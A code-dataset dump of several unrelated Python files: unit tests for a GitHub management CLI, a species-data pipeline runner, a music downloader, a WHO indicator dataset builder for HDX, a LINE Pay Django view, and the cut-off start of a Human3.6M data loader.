+= '--fork https://github.com/openstack/swift '\n args += '--name swift'\n parsed_args = self.parser.parse_args(args.split())\n\n expected_url = \"https://api.github.com/repos/openstack/swift/forks\"\n\n with patch('requests.post') as method:\n with patch('requests.patch'):\n sfmanager.github_action(parsed_args, \"\")\n\n call_args, call_kwargs = method.call_args\n self.assertEqual(call_args[0], expected_url)\n self.assertEqual(call_kwargs.get('headers'),\n self.expected_gh_headers)\n\n def test_fork_repo_org(self):\n args = '--github-token ghtoken github fork-repo '\n args += '--fork https://github.com/openstack/swift '\n args += '--org rdo-packages '\n args += '--name swift'\n parsed_args = self.parser.parse_args(args.split())\n\n expected_url = \"https://api.github.com/repos/openstack/swift/forks\"\n\n with patch('requests.post') as method:\n with patch('requests.patch'):\n sfmanager.github_action(parsed_args, \"\")\n\n call_args, call_kwargs = method.call_args\n self.assertEqual(call_args[0], expected_url)\n self.assertEqual(call_kwargs.get('headers'),\n self.expected_gh_headers)\n\n expected_data = {\"organization\": \"rdo-packages\"}\n self.assertEqual(call_kwargs.get('json'), expected_data)\n\n @patch('requests.delete')\n @patch('requests.get')\n def test_delete_repo(self, get_method, delete_method):\n args = '--github-token ghtoken github delete-repo -n reponame'.split()\n parsed_args = self.parser.parse_args(args)\n\n get_method.return_value.json.return_value = {'login': 'username'}\n expected_url = \"https://api.github.com/repos/username/reponame\"\n kwargs = {'headers': self.expected_gh_headers}\n sfmanager.github_action(parsed_args, \"\")\n delete_method.assert_called_with(expected_url, **kwargs)\n\n @patch('requests.delete')\n @patch('requests.get')\n def test_delete_org_repo(self, get_method, delete_method):\n args = '--github-token ghtoken '\n args += 'github delete-repo -n reponame -o orgname'\n parsed_args = self.parser.parse_args(args.split())\n\n expected_url = \"https://api.github.com/repos/orgname/reponame\"\n kwargs = {'headers': self.expected_gh_headers}\n sfmanager.github_action(parsed_args, \"\")\n delete_method.assert_called_with(expected_url, **kwargs)\n\n @patch('requests.post')\n @patch('requests.get')\n def _test_deploy_key(self, orgname, get_method, post_method):\n with NamedTemporaryFile(delete=False) as tmpfile:\n tmpfile.write(\"ssh-rsa\")\n\n args = '--github-token ghtoken '\n args += 'github deploy-key -n reponame '\n args += '--keyfile %s ' % tmpfile.name\n if orgname:\n args += '-o orgname '\n expected_owner = \"orgname\"\n else:\n expected_owner = \"username\"\n\n parsed_args = self.parser.parse_args(args.split())\n\n get_method.return_value.json.return_value = {'login': 'username'}\n\n expected_url = \"https://api.github.com/repos/%s/reponame/keys\" \\\n % expected_owner\n expected_data = {\"read_only\": False, \"title\": \"%s ssh key\" %\n expected_owner, \"key\": \"ssh-rsa\"}\n sfmanager.github_action(parsed_args, \"\")\n\n call_args, call_kwargs = post_method.call_args\n self.assertEqual(call_args[0], expected_url)\n self.assertEqual(call_kwargs.get('headers'), self.expected_gh_headers)\n self.assertEqual(call_kwargs.get('json'), expected_data)\n\n # Remove tmpfile\n try:\n os.remove(tmpfile.name)\n except IOError:\n pass\n\n def test_deploy_key(self):\n self._test_deploy_key(\"\")\n\n def test_org_deploy_key(self):\n self._test_deploy_key(\"orgname\")\n", "sub_path": "sfmanager/tests/test_sfmanager.py", "file_name": "test_sfmanager.py", "file_ext": "py", "file_size_in_byte": 22731, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "unittest.TestCase", "line_number": 34, "usage_type": "name"}, {"api_name": "tempfile.mkstemp", "line_number": 36, "usage_type": "call"}, {"api_name": "sfmanager.sfmanager.DEFAULT_RC_PATHS", "line_number": 37, "usage_type": "attribute"}, {"api_name": "sfmanager.sfmanager", "line_number": 37, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 38, "usage_type": "call"}, {"api_name": "sfmanager.sfmanager.default_arguments", "line_number": 39, "usage_type": "call"}, {"api_name": "sfmanager.sfmanager", "line_number": 39, "usage_type": "name"}, {"api_name": "sfmanager.sfmanager.command_options", "line_number": 40, "usage_type": "call"}, {"api_name": "sfmanager.sfmanager", "line_number": 40, "usage_type": "name"}, {"api_name": "sfmanager.sfmanager.DEFAULT_RC_PATHS", "line_number": 43, "usage_type": "attribute"}, {"api_name": "sfmanager.sfmanager", "line_number": 43, "usage_type": "name"}, {"api_name": "sfmanager.sfmanager.DEFAULT_RC_PATHS", "line_number": 44, "usage_type": "attribute"}, {"api_name": "sfmanager.sfmanager", "line_number": 44, "usage_type": "name"}, {"api_name": "sfmanager.sfmanager.load_rc_file", "line_number": 48, "usage_type": "attribute"}, {"api_name": "sfmanager.sfmanager", "line_number": 48, "usage_type": "name"}, {"api_name": "sfmanager.sfmanager.DEFAULT_RC_PATHS", "line_number": 49, "usage_type": "attribute"}, {"api_name": "sfmanager.sfmanager", "line_number": 49, "usage_type": "name"}, {"api_name": "sfmanager.sfmanager.load_rc_file", "line_number": 57, "usage_type": "attribute"}, {"api_name": "sfmanager.sfmanager", "line_number": 57, "usage_type": "name"}, {"api_name": "yaml.dump", "line_number": 61, "usage_type": "call"}, {"api_name": "sfmanager.sfmanager.load_rc_file", "line_number": 71, "usage_type": "attribute"}, {"api_name": "sfmanager.sfmanager", "line_number": 71, "usage_type": "name"}, {"api_name": "yaml.dump", "line_number": 75, "usage_type": "call"}, {"api_name": "sfmanager.sfmanager.load_rc_file", "line_number": 95, "usage_type": "call"}, {"api_name": "sfmanager.sfmanager", "line_number": 95, "usage_type": "name"}, {"api_name": "sfmanager.sfmanager.load_rc_file", "line_number": 102, "usage_type": "call"}, {"api_name": "sfmanager.sfmanager", "line_number": 102, "usage_type": "name"}, {"api_name": "sfmanager.sfmanager.DEFAULT_RC_PATHS", "line_number": 106, "usage_type": "attribute"}, {"api_name": "sfmanager.sfmanager", "line_number": 106, "usage_type": "name"}, {"api_name": "unittest.TestCase", "line_number": 109, "usage_type": "name"}, {"api_name": "tempfile.mkstemp", "line_number": 111, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 114, "usage_type": "call"}, {"api_name": "sfmanager.sfmanager.default_arguments", "line_number": 115, "usage_type": "call"}, {"api_name": "sfmanager.sfmanager", "line_number": 115, "usage_type": "name"}, {"api_name": "sfmanager.sfmanager.command_options", "line_number": 116, "usage_type": "call"}, {"api_name": "sfmanager.sfmanager", "line_number": 116, "usage_type": "name"}, {"api_name": "mock.patch", "line_number": 131, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 133, "usage_type": "call"}, {"api_name": "sfmanager.sfmanager.job_action", "line_number": 155, "usage_type": "attribute"}, {"api_name": "sfmanager.sfmanager", "line_number": 155, "usage_type": "name"}, {"api_name": "sfmanager.sfmanager.job_action", "line_number": 166, "usage_type": "attribute"}, {"api_name": "sfmanager.sfmanager", "line_number": 166, "usage_type": "name"}, {"api_name": "sfmanager.sfmanager.job_action", "line_number": 178, "usage_type": "attribute"}, {"api_name": "sfmanager.sfmanager", "line_number": 178, "usage_type": "name"}, {"api_name": "sfmanager.sfmanager.job_action", "line_number": 186, "usage_type": "attribute"}, {"api_name": "sfmanager.sfmanager", "line_number": 186, "usage_type": "name"}, {"api_name": "sfmanager.sfmanager.job_action", "line_number": 196, "usage_type": "attribute"}, {"api_name": "sfmanager.sfmanager", "line_number": 196, "usage_type": "name"}, {"api_name": "sfmanager.sfmanager.image_action", "line_number": 213, "usage_type": "attribute"}, {"api_name": "sfmanager.sfmanager", "line_number": 213, "usage_type": "name"}, {"api_name": "sfmanager.sfmanager.image_action", "line_number": 222, "usage_type": "attribute"}, {"api_name": "sfmanager.sfmanager", "line_number": 222, "usage_type": "name"}, {"api_name": "sfmanager.sfmanager.image_action", "line_number": 234, "usage_type": "attribute"}, {"api_name": "sfmanager.sfmanager", "line_number": 234, "usage_type": "name"}, {"api_name": "sfmanager.sfmanager.node_action", "line_number": 249, "usage_type": "attribute"}, {"api_name": "sfmanager.sfmanager", "line_number": 249, "usage_type": "name"}, {"api_name": "sfmanager.sfmanager.node_action", "line_number": 262, "usage_type": "attribute"}, {"api_name": "sfmanager.sfmanager", "line_number": 262, "usage_type": "name"}, {"api_name": "sfmanager.sfmanager.node_action", "line_number": 275, "usage_type": "attribute"}, {"api_name": "sfmanager.sfmanager", "line_number": 275, "usage_type": "name"}, {"api_name": "tempfile.NamedTemporaryFile", "line_number": 281, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 286, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 288, "usage_type": "call"}, {"api_name": "sfmanager.sfmanager.node_action", "line_number": 296, "usage_type": "call"}, {"api_name": "sfmanager.sfmanager", "line_number": 296, "usage_type": "name"}, {"api_name": "os.remove", "line_number": 299, "usage_type": "call"}, {"api_name": "sfmanager.sfmanager.user_management_action", "line_number": 316, "usage_type": "attribute"}, {"api_name": "sfmanager.sfmanager", "line_number": 316, "usage_type": "name"}, {"api_name": "sfmanager.sfmanager.user_management_action", "line_number": 323, "usage_type": "attribute"}, {"api_name": "sfmanager.sfmanager", "line_number": 323, "usage_type": "name"}, {"api_name": "sfmanager.sfmanager.user_management_action", "line_number": 332, "usage_type": "attribute"}, {"api_name": "sfmanager.sfmanager", "line_number": 332, "usage_type": "name"}, {"api_name": "sfmanager.sfmanager.services_users_management_action", "line_number": 353, "usage_type": "attribute"}, {"api_name": "sfmanager.sfmanager", "line_number": 353, "usage_type": "name"}, {"api_name": "sfmanager.sfmanager.services_users_management_action", "line_number": 362, "usage_type": "attribute"}, {"api_name": "sfmanager.sfmanager", "line_number": 362, "usage_type": "name"}, {"api_name": "sfmanager.sfmanager.services_users_management_action", "line_number": 371, "usage_type": "attribute"}, {"api_name": "sfmanager.sfmanager", "line_number": 371, "usage_type": "name"}, {"api_name": "sfmanager.sfmanager.services_users_management_action", "line_number": 381, "usage_type": "attribute"}, {"api_name": "sfmanager.sfmanager", "line_number": 381, "usage_type": "name"}, {"api_name": "sfmanager.sfmanager.backup_action", "line_number": 390, "usage_type": "attribute"}, {"api_name": "sfmanager.sfmanager", "line_number": 390, "usage_type": "name"}, {"api_name": "mock.patch", "line_number": 401, "usage_type": "call"}, {"api_name": "sfmanager.sfmanager.github_action", "line_number": 402, "usage_type": "call"}, {"api_name": "sfmanager.sfmanager", "line_number": 402, "usage_type": "name"}, {"api_name": "mock.patch", "line_number": 419, "usage_type": "call"}, {"api_name": "sfmanager.sfmanager.github_action", "line_number": 420, "usage_type": "call"}, {"api_name": "sfmanager.sfmanager", "line_number": 420, "usage_type": "name"}, {"api_name": "mock.patch", "line_number": 437, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 438, "usage_type": "call"}, {"api_name": "sfmanager.sfmanager.github_action", "line_number": 439, "usage_type": "call"}, {"api_name": "sfmanager.sfmanager", "line_number": 439, "usage_type": "name"}, {"api_name": "mock.patch", "line_number": 455, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 456, "usage_type": "call"}, {"api_name": "sfmanager.sfmanager.github_action", "line_number": 457, "usage_type": "call"}, {"api_name": "sfmanager.sfmanager", "line_number": 457, "usage_type": "name"}, {"api_name": "sfmanager.sfmanager.github_action", "line_number": 476, "usage_type": "call"}, {"api_name": "sfmanager.sfmanager", "line_number": 476, "usage_type": "name"}, {"api_name": "mock.patch", "line_number": 467, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 468, "usage_type": "call"}, {"api_name": "sfmanager.sfmanager.github_action", "line_number": 488, "usage_type": "call"}, {"api_name": "sfmanager.sfmanager", "line_number": 488, "usage_type": "name"}, {"api_name": "mock.patch", "line_number": 479, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 480, "usage_type": "call"}, {"api_name": "tempfile.NamedTemporaryFile", "line_number": 494, "usage_type": "call"}, {"api_name": "sfmanager.sfmanager.github_action", "line_number": 514, "usage_type": "call"}, {"api_name": "sfmanager.sfmanager", "line_number": 514, "usage_type": "name"}, {"api_name": "os.remove", "line_number": 523, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 491, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 492, "usage_type": "call"}]} +{"seq_id": "175461580", "text": "import json\nfrom dotenv import load_dotenv, find_dotenv\nfrom pysgcn import bis_pipeline\nimport pysppin\nimport time\nimport sys\n\nload_dotenv(find_dotenv())\n\nch_ledger = 'ledger'\ncache_root = 'mydatabase'\n\ndef lambda_handler_4(event, context):\n message_in = json.loads(event[\"body\"])\n run_id = message_in[\"run_id\"]\n sb_item_id = message_in[\"sb_item_id\"]\n download_uri = message_in[\"download_uri\"]\n cache_manager = CacheManager(download_uri)\n\n send_final_result = None\n send_to_stage = None\n\n bis_pipeline.process_4(download_uri, ch_ledger, send_final_result, send_to_stage, message_in[\"payload\"], cache_manager)\n\ndef lambda_handler_3(event, context):\n message_in = json.loads(event[\"body\"])\n run_id = message_in[\"run_id\"]\n sb_item_id = message_in[\"sb_item_id\"]\n download_uri = message_in[\"download_uri\"]\n cache_manager = CacheManager(download_uri)\n\n def send_to_stage(data, stage):\n json_doc = {\n 'run_id': run_id,\n 'sb_item_id': sb_item_id,\n 'download_uri': download_uri,\n 'payload': data\n }\n lambda_handler_4({\"body\": json.dumps(json_doc)}, {})\n\n def send_final_result(data):\n species = data[\"data\"]\n row_id = data[\"row_id\"]\n cache_manager.add_to_cache(\"final_res:{}\".format(species[\"sppin_key\"]), species)\n # cache_manager.add_to_cache(row_id, species)\n\n bis_pipeline.process_3(download_uri, ch_ledger, send_final_result, send_to_stage, message_in[\"payload\"], cache_manager)\n\ndef lambda_handler_2(event, context):\n message_in = json.loads(event[\"body\"])\n run_id = message_in[\"run_id\"]\n sb_item_id = message_in[\"sb_item_id\"]\n download_uri = message_in[\"download_uri\"]\n cache_manager = CacheManager(download_uri)\n\n def send_to_stage(data, stage):\n json_doc = {\n 'run_id': run_id,\n 'sb_item_id': sb_item_id,\n 'download_uri': download_uri,\n 'payload': data\n }\n lambda_handler_3({\"body\": json.dumps(json_doc)}, {})\n\n send_final_result = None\n\n start_time = time.time()\n num_species = bis_pipeline.process_2(download_uri, ch_ledger, send_final_result, send_to_stage, message_in[\"payload\"], cache_manager)\n elapsed_time = \"{:.2f}\".format(time.time() - start_time)\n print('Species count: {} ({} seconds)'.format(num_species, elapsed_time))\n\ndef lambda_handler(event, context):\n run_id = event[\"run_id\"]\n sb_item_id = event[\"sb_item_id\"]\n download_uri = event[\"download_uri\"]\n cache_manager = CacheManager(download_uri)\n\n def send_to_stage(data, stage):\n json_doc = {\n 'run_id': run_id,\n 'sb_item_id': sb_item_id,\n 'download_uri': download_uri,\n 'payload': data\n }\n lambda_handler_2({\"body\": json.dumps(json_doc)}, {})\n\n send_final_result = None\n\n num_process_files = bis_pipeline.process_1(download_uri, ch_ledger, send_final_result, send_to_stage, sb_item_id, cache_manager)\n\nclass CacheManager:\n def __init__(self, cache_root):\n self.cache_folder = \"sppin\"\n self.cache_path = f\"{cache_root}/{self.cache_folder}\"\n self.sql_cache = pysppin.utils.Sql(cache_location=self.cache_path)\n self.table_name = 'cache'\n \n def get_from_cache(self, key):\n res = self.sql_cache.get_select_records(self.cache_folder, self.table_name, 'key = ?', key)\n return res[0][\"value\"] if res else None\n\n def add_to_cache(self, key, value):\n\n res = self.get_from_cache(key)\n if res:\n return res;\n\n data = {\"key\": key, \"value\": value}\n return self.sql_cache.insert_record(self.cache_folder, self.table_name, data)\n\nclass Logger(object):\n def __init__(self):\n self.terminal = sys.stdout\n self.log = open(\"./pipeline_output.txt\", \"w\")\n\n def write(self, message):\n self.terminal.write(message)\n self.log.write(message)\n\n def flush(self):\n #this flush method is needed for python 3 compatibility.\n #this handles the flush command by doing nothing.\n #you might want to specify some extra behavior here.\n pass\n\nsys.stdout = Logger()\nlambda_handler({\n \"run_id\": \"705da83c-de64-11ea-a3a1-023f40fa784e\",\n # This item_id gives all 112 state/year combos to process\n \"sb_item_id\": \"56d720ece4b015c306f442d5\",\n\n # This item_id is our test location that gives just a few state/year combos\n #\"sb_item_id\": \"5ef51d8082ced62aaae69f05\", OBSOLETE, Don't use.\n \"download_uri\": cache_root\n}, {})", "sub_path": "local_pipeline_run.py", "file_name": "local_pipeline_run.py", "file_ext": "py", "file_size_in_byte": 4541, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "dotenv.load_dotenv", "line_number": 8, "usage_type": "call"}, {"api_name": "dotenv.find_dotenv", "line_number": 8, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 14, "usage_type": "call"}, {"api_name": "pysgcn.bis_pipeline.process_4", "line_number": 23, "usage_type": "call"}, {"api_name": "pysgcn.bis_pipeline", "line_number": 23, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 26, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 39, "usage_type": "call"}, {"api_name": "pysgcn.bis_pipeline.process_3", "line_number": 47, "usage_type": "call"}, {"api_name": "pysgcn.bis_pipeline", "line_number": 47, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 50, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 63, "usage_type": "call"}, {"api_name": "time.time", "line_number": 67, "usage_type": "call"}, {"api_name": "pysgcn.bis_pipeline.process_2", "line_number": 68, "usage_type": "call"}, {"api_name": "pysgcn.bis_pipeline", "line_number": 68, "usage_type": "name"}, {"api_name": "time.time", "line_number": 69, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 85, "usage_type": "call"}, {"api_name": "pysgcn.bis_pipeline.process_1", "line_number": 89, "usage_type": "call"}, {"api_name": "pysgcn.bis_pipeline", "line_number": 89, "usage_type": "name"}, {"api_name": "pysppin.utils.Sql", "line_number": 95, "usage_type": "call"}, {"api_name": "pysppin.utils", "line_number": 95, "usage_type": "attribute"}, {"api_name": "sys.stdout", "line_number": 113, "usage_type": "attribute"}, {"api_name": "sys.stdout", "line_number": 126, "usage_type": "attribute"}]} +{"seq_id": "542885531", "text": "# -*- coding: utf-8 -*-\n# @Author: Alan Lau\n# @Date: 2019-02-01 12:50:50\n\n\nimport pymysql\nimport requests\nimport time\nimport random\n\n# Save path\nmusic_repository = r'../../MusicRepository/'\n\n\ndef accessDatabase():\n # Connect database\n mydb = pymysql.connect(\n host=\"localhost\",\n user=\"root\",\n passwd=\"root\",\n database=\"Moody_v3hk\"\n )\n cursor = mydb.cursor()\n sql = \"SELECT id, name, artist_name FROM data;\"\n cursor.execute(sql)\n\n # Get music related data\n musicinfo = cursor.fetchall()\n print(len(musicinfo))\n return musicinfo\n\n\ndef getMuisc(mid):\n try:\n # Construct url\n url = 'http://storage-new.newjamendo.com/?trackid=%s&format=mp32' % str(\n mid)\n print(url)\n\n # Request url\n r = requests.get(url)\n\n # Download music and save with id\n with open(music_repository + '/%s.mp3' % str(mid), 'wb') as f:\n f.write(r.content)\n except Exception as e:\n print(e)\n with open('./downloadMusicErrorLog.log', 'a') as f:\n f.write('[%s]' % str(id) + str(e) + '\\n')\n pass\n finally:\n pass\n\n\ndef clearError(musicinfo):\n import os\n import numpy as np\n from pandas import DataFrame as df\n\n # Get the full music list\n musicinfo = np.matrix([list(mus) for mus in musicinfo])\n musicdf = df(musicinfo, columns=['mid', 'name', 'artist'])\n midset = set(list(musicdf['mid']))\n\n file_list = []\n # Read the file list to get downloaded music\n for root, dirs, files in os.walk(music_repository):\n for file in files:\n file_list.append((file.replace('.mp3', '')))\n fileset = set(file_list)\n\n # Compare two list to get the missing music id\n errorList = list(midset - fileset)\n for e in errorList:\n getMuisc(e)\n\n\ndef main():\n startpoint = 0\n musicinfo = accessDatabase()\n total = len(musicinfo)\n count = startpoint\n for mus in musicinfo[startpoint:]:\n mid = str(mus[0])\n print(count, 'Getting: %s.mp3' %\n (mid, str((round(count / total, 4) * 100)) + '%'))\n getMuisc(mid)\n count += 1\n\n # Random request\n time.sleep(random.randint(2, 5))\n print()\n # clearError(musicinfo)\n\n\nif __name__ == '__main__':\n main()\n", "sub_path": "AcousticExtraction/downloadMusic.py", "file_name": "downloadMusic.py", "file_ext": "py", "file_size_in_byte": 2301, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "pymysql.connect", "line_number": 17, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 61, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 62, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 67, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 91, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 91, "usage_type": "call"}]} +{"seq_id": "438732507", "text": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\"\"\"\nWHO:\n------------\n\nReads WHO JSON and creates datasets.\n\n\"\"\"\nimport logging\n\nfrom hdx.data.dataset import Dataset\nfrom hdx.data.hdxobject import HDXError\nfrom hdx.data.showcase import Showcase\nfrom slugify import slugify\n\nlogger = logging.getLogger(__name__)\n\n\ndef get_indicators_and_tags(base_url, downloader, indicator_list):\n indicators = list()\n tags = list()\n response = downloader.download('%sGHO?format=json' % base_url)\n json = response.json()\n result = json['dimension'][0]['code']\n\n def clean_tag(tag):\n tag = tag.replace('(', '')\n tag = tag.replace(')', '')\n tag = tag.replace('/', ' ')\n return tag\n\n for indicator in result:\n indicator_code = indicator['label']\n if indicator_code in indicator_list:\n indicators.append((indicator_code, indicator['display'], indicator['url']))\n for attr in indicator['attr']:\n if attr['category'] == 'CATEGORY':\n tag_name = attr['value']\n if ' and ' in tag_name:\n tag_names = tag_name.split(' and ')\n for tag_name in tag_names:\n tags.append(clean_tag(tag_name.strip()))\n else:\n tags.append(clean_tag(tag_name.strip()))\n return indicators, tags\n\n\ndef get_countriesdata(base_url, downloader):\n response = downloader.download('%sCOUNTRY?format=json' % base_url)\n json = response.json()\n return json['dimension'][0]['code']\n\n\ndef generate_dataset_and_showcase(base_url, downloader, countrydata, indicators):\n \"\"\"\n http://apps.who.int/gho/athena/api/GHO/WHOSIS_000001.csv?filter=COUNTRY:BWA&profile=verbose\n \"\"\"\n countryname = countrydata['display']\n title = '%s - Health Indicators' % countryname\n logger.info('Creating dataset: %s' % title)\n slugified_name = slugify('WHO data for %s' % countryname).lower()\n countryiso = countrydata['label']\n for attr in countrydata['attr']:\n if attr['category'] == 'ISO':\n countryiso = attr['value']\n dataset = Dataset({\n 'name': slugified_name,\n 'title': title,\n })\n dataset.set_maintainer('196196be-6037-4488-8b71-d786adf4c081')\n dataset.set_organization('hdx')\n dataset.set_expected_update_frequency('Every year')\n dataset.set_subnational(False)\n try:\n dataset.add_country_location(countryiso)\n except HDXError as e:\n logger.exception('%s has a problem! %s' % (countryname, e))\n return None, None\n tags = ['indicators']\n dataset.add_tags(tags)\n\n earliest_year = 10000\n latest_year = 0\n for indicator_code, indicator_name, indicator_url in indicators:\n no_rows = 0\n url = '%sGHO/%s.csv?filter=COUNTRY:%s&profile=verbose' % (base_url, indicator_code, countryiso)\n try:\n for row in downloader.get_tabular_rows(url, dict_rows=True, headers=1):\n no_rows += 1\n year = row['YEAR (CODE)']\n if '-' in year:\n years = year.split('-')\n else:\n years = [year]\n for year in years:\n year = int(year)\n if year < earliest_year:\n earliest_year = year\n if year > latest_year:\n latest_year = year\n except Exception:\n continue\n if no_rows == 0:\n continue\n resource = {\n 'name': indicator_name,\n 'description': '[Indicator metadata](%s)' % indicator_url,\n 'format': 'csv',\n 'url': url\n }\n dataset.add_update_resource(resource)\n if len(dataset.get_resources()) == 0:\n logger.exception('%s has no data!' % countryname)\n return None, None\n dataset.set_dataset_year_range(earliest_year, latest_year)\n\n isolower = countryiso.lower()\n showcase = Showcase({\n 'name': '%s-showcase' % slugified_name,\n 'title': 'Indicators for %s' % countryname,\n 'notes': 'Health indicators for %s' % countryname,\n 'url': 'http://www.who.int/countries/%s/en/' % isolower,\n 'image_url': 'http://www.who.int/sysmedia/images/countries/%s.gif' % isolower\n })\n showcase.add_tags(tags)\n return dataset, showcase\n", "sub_path": "who.py", "file_name": "who.py", "file_ext": "py", "file_size_in_byte": 4388, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "logging.getLogger", "line_number": 17, "usage_type": "call"}, {"api_name": "slugify.slugify", "line_number": 62, "usage_type": "call"}, {"api_name": "hdx.data.dataset.Dataset", "line_number": 67, "usage_type": "call"}, {"api_name": "hdx.data.hdxobject.HDXError", "line_number": 77, "usage_type": "name"}, {"api_name": "hdx.data.showcase.Showcase", "line_number": 119, "usage_type": "call"}]} +{"seq_id": "41790231", "text": "#import os\r\n#os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"LinepayAPP.settings\")\r\n\r\nfrom django.shortcuts import render\r\nfrom django.http import HttpResponse\r\nfrom linebot import LineBotApi\r\nfrom linebot.exceptions import *\r\nfrom django.views.decorators.csrf import csrf_exempt\r\nfrom linebot import *\r\nimport pdb\r\n#from linebot.models import *\r\nfrom LinepayAPP.classLib import *\r\n#from LinepayAPP.models import clientSession\r\n\r\nline_bot_api = LineBotApi(\"Line機器人API\")\r\nhandler = WebhookHandler('WebHookkey')\r\n\r\n@csrf_exempt\r\ndef callback(request):\r\n messageCallback = request.body\r\n \r\n decodeToText = decodeJson(messageCallback)\r\n lineEvent = decodeToText.parse()\r\n pdb.set_trace()\r\n ClientMsg = lineEvent.events[0].message.text\r\n replyToken = lineEvent.events[0].replyToken\r\n\r\n line_bot_api.reply_message(\r\n replyToken,\r\n TextSendMessage(text=ClientMsg))\r\n\r\n return HttpResponse('OK')\r\n\r\n\r\n#付款狀態確認\r\ndef confirm(request):\r\n transactionId = request.GET[\"transactionId\"]\r\n orderId = request.GET[\"orderId\"]\r\n print (transactionId)\r\n print (orderId)\r\n return HttpResponse(\"OK\")\r\n", "sub_path": "LinePayDjangoServer/LinepayAPP/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1152, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "linebot.LineBotApi", "line_number": 15, "usage_type": "call"}, {"api_name": "pdb.set_trace", "line_number": 24, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 32, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 18, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 41, "usage_type": "call"}]} +{"seq_id": "563793307", "text": "\n\"\"\"Utility functions for dealing with human3.6m data.\"\"\"\n\nfrom __future__ import division\n\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport cameras\nimport viz\nimport h5py\nimport glob\nimport copy\n\n# Human3.6m IDs for training and testing\nTRAIN_SUBJECTS = [1,5,6,7,8]\nTEST_SUBJECTS = [9,11]\n\n# Joints in H3.6M -- data has 32 joints, but only 17 that move; these are the indices.\nH36M_NAMES = ['']*32\nH36M_NAMES[0] = 'Hip'\nH36M_NAMES[1] = 'RHip'\nH36M_NAMES[2] = 'RKnee'\nH36M_NAMES[3] = 'RFoot'\nH36M_NAMES[6] = 'LHip'\nH36M_NAMES[7] = 'LKnee'\nH36M_NAMES[8] = 'LFoot'\nH36M_NAMES[12] = 'Spine'\nH36M_NAMES[13] = 'Thorax'\nH36M_NAMES[14] = 'Neck/Nose'\nH36M_NAMES[15] = 'Head'\nH36M_NAMES[17] = 'LShoulder'\nH36M_NAMES[18] = 'LElbow'\nH36M_NAMES[19] = 'LWrist'\nH36M_NAMES[25] = 'RShoulder'\nH36M_NAMES[26] = 'RElbow'\nH36M_NAMES[27] = 'RWrist'\n\n# Stacked Hourglass produces 16 joints. These are the names.\nSH_NAMES = ['']*16\nSH_NAMES[0] = 'RFoot'\nSH_NAMES[1] = 'RKnee'\nSH_NAMES[2] = 'RHip'\nSH_NAMES[3] = 'LHip'\nSH_NAMES[4] = 'LKnee'\nSH_NAMES[5] = 'LFoot'\nSH_NAMES[6] = 'Hip'\nSH_NAMES[7] = 'Spine'\nSH_NAMES[8] = 'Thorax'\nSH_NAMES[9] = 'Head'\nSH_NAMES[10] = 'RWrist'\nSH_NAMES[11] = 'RElbow'\nSH_NAMES[12] = 'RShoulder'\nSH_NAMES[13] = 'LShoulder'\nSH_NAMES[14] = 'LElbow'\nSH_NAMES[15] = 'LWrist'\n\ndef load_data( bpath, subjects, actions, dim=3 ):\n if not dim in [2,3]:\n raise(ValueError, 'dim must be 2 or 3')\n\n data = {}\n\n for subj in subjects:\n for action in actions:\n\n print('Reading subject {0}, action {1}'.format(subj, action))\n\n dpath = os.path.join( bpath, 'S{0}'.format(subj), 'MyPoses/{0}D_positions'.format(dim), '{0}*.h5'.format(action) )\n print( dpath )\n\n fnames = glob.glob( dpath )\n\n loaded_seqs = 0\n for fname in fnames:\n seqname = os.path.basename( fname )\n\n # This rule makes sure SittingDown is not loaded when Sitting is requested\n if action == \"Sitting\" and seqname.startswith( \"SittingDown\" ):\n continue\n\n # This rule makes sure that WalkDog and WalkTogeter are not loaded when\n # Walking is requested.\n if seqname.startswith( action ):\n print( fname )\n loaded_seqs = loaded_seqs + 1\n\n with h5py.File( fname, 'r' ) as h5f:\n poses = h5f['{0}D_positions'.format(dim)][:]\n\n poses = poses.T\n data[ (subj, action, seqname) ] = poses\n\n if dim == 2:\n assert loaded_seqs == 8, \"Expecting 8 sequences, found {0} instead\".format( loaded_seqs )\n else:\n assert loaded_seqs == 2, \"Expecting 2 sequences, found {0} instead\".format( loaded_seqs )\n\n return data\n\n\ndef load_stacked_hourglass(data_dir, subjects, actions):\n # Permutation that goes from SH detections to H36M ordering.\n SH_TO_GT_PERM = np.array([SH_NAMES.index( h ) for h in H36M_NAMES if h != '' and h in 